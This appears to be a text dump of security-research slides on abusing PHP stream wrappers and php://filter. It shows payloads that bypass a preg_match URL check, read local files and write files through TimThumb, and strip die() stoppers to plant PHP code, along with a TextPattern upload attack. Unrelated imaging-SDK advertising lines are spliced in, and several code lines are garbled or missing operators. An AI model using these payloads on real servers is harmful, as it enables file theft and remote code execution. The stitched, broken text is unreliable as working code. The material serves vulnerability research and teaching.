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Bypass preg_match validate 
Filter bypass based on preg_match 
POST DATA: src=data://text/plain;charset=http://w?param=anyval;base64,SSBsb3ZlIFBIUAo 
POST DATA: src=compress.zlib://youtube.com/../http://?/../../path/to/local/file 
function validate_url ($url)  
$pattern =  
"/\b(?:(?:https?):\/\/|www\.)[-a-z0-9+&@#\/%?=~_|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i"
return preg_match ($pattern, $url); 
$src = $_POST['src']; 
if (!validate_url ($src)) display_error ('invalid url'); 
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Arbitrary File Loading in TimThumb 
TimThumb is a popular script used for image resize. 
Public Exploit for v 1.32 (08/2011): http://www.exploit-db.com/exploits/17602 
New Wrappers Exploit for v1.34 (revision 145)  
http://www.youtube.com/?local_filepath=php://filter/resource%3D./path/to/.php 
&url_info[host]=img.youtube.com&src=http://mysite.com/thumb.txt 
function check_external ($src) { 
………………… 
if (!validate_url ($src)) display_error ('invalid url'); 
$url_info = parse_url ($src); 
................... 
if ($url_info['host'] == 'www.youtube.com' || …) parse_str($url_info['query']); 
.................. 
$fh fopen($local_filepath, µw¶); 
$ch curl_init($src);  
………………….. 
$files_infos getimagesize ($local_filepath); 
if (empty($file_infos[µmime¶]) || …..) unlink($local_filepath); 
……………………………… 
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File Manipulation in TimThumb v1.35 
Requirements: curl_init function is diabled on the target server. 
неопределенного фильтра does not influence the results of other filters 
Create a file with arbitrary content: 
data://img.youtube.com/e;charset=http://w?&var=;base64,SSBsb3ZIIFBIUAo 
«Read» local file: 
compress.zlib://youtube.com/../http://?/../../path/to/local/file 
………………… 
if (!$img = file_get_contents ($src)) { 
display_error ('error....'); 
if (file_put_contents ($local_filepath$img) == FALSE) 
display_error ('error.....'); 
} 
………………… 
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VB.NET Image: Image Cropping SDK to Cut Out Image, Picture and
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Secret features of php://filter wrapper 
php://filter allows users to filter streams while opening. 
Filter the file content: 
Unknown filter does not influence the results of other filters. 
convert.base64-decode and string.strip_tags filters can delete data from the 
stream. 
Stephan Esser used convert.base64-decode filter features in an exploit for Piwik in 2009
http://sektioneins.de/en/advisories/advisory-032009-piwik-cookie-unserialize-vulnerability 
Since 2009, two important questions are not solved: 
How to delete «unused» data? 
What are the advantages of filters? 
readfile('php://filter/read=string.toupper|anyfilter|string.rot13/resource=./file.php'); 
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VB.NET Image: Image Resizer Control SDK to Resize Picture & Photo
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Base64 algorithm: encoding 
RFC 2045, section 6.8 describes Base64 algorithm. 
Base64 alphabet:  
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ 
 
VB.NET Image: How to Save Image & Print Image Using VB.NET
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C# Image: How to Add Antique & Vintage Effect to Image, Photo
this C#.NET antique effect creating control add-on is widely used in modern photo editors, which powerful & profession imaging controls, PDF document, tiff
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Base64 algorithm: decoding 
While decoding, only characters of base64 alphabet are handled.  
The input string is divided into parts by 4 characters, every part is handled 
separately. 
 
VB.NET Image: Tutorial for Flipping Image Using Our .NET Image SDK
version of .NET imaging SDK and add the following becomes a mirror reflection of the photo on the powerful & profession imaging controls, PDF document, tiff
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C# PDF remove image library: remove, delete images from PDF in C#.
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Example. ³Instrusion´ of stopper 
You can delete some data using base64_decode several times. 
³Stub´: /Ly8v  ( base64_decode('Ly8v') == '///¶ )  
convert.base64-decode filter does not handle strings with equal sign in the middle.  
 
$content  = "; <? die; ?>\n"
$content .= "[/Ly8vVTFOQ1RXSXpXbXhKUmtKSlZVRTlQUT09]\n"
$file = 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode 
/resource=./PoC'
file_put_contents($file$content); 
$s = 'php://filter/read=convert.base64-decode/resource=data:,dGVzdA==CRAP'
var_dump(file_get_contents($s)); // print: string(0) "" 
Filter string.strip_tags 
Filter string.strip_tags speeds up the ³extrusion´ process 
$quoted_printable_lt  =  '='.strtoupper(dechex(ord('<'))); // =3C 
convert.quoted-printable-decode filter handles strings symbol by symbol. 
Characters in Quoted-Printable ( RFC2045, 6.7 chapter) format are modified into characters of 8  
bit code page. 
Modification into Quoted-Printable format. 
convert.quoted-printable-decode filter is not effective if the string does not include an equal 
sign followed by hexadecimal character code. 
$content  = "; <? die; ?>\n"
$content .= "=3C=3Fprint('PHP');\n"
$file = 'php://filter/write=string.strip_tags|convert.quoted-printable-decode/resource=./PoC'; 
file_put_contents($file$content); 
$quoted_printable_lt  =  '='.strtoupper(dechex(ord('<'))); 
$s = 'php://filter/read=convert.quoted-printable-decode/resource=data:,dGVz=CRAP'
var_dump(file_get_contents($s)); // print: string(0) "" 
TextPattern: Upload Arbitrary Files (I) 
 
File with .php extension stores information about comments¶ authors. 
Пп 
$file $prefs['tempdir'].DS.'evaluator_trace.php'
if (!file_exists($file)) { 
$fp = fopen($file'wb'); 
if ($fp) 
fwrite($fp"<?php return; ?>\n". 
"This trace-file tracks saved comments. (created " 
safe_strftime($prefs['archive_dateformat'],time()).")\n"
"Format is: Type; Probability; Message ³ 
³(Type can be -1  => spam, 0 => moderate, 1 => visible)\n\n"); 
TextPattern: Upload Arbitrary Files (I) 
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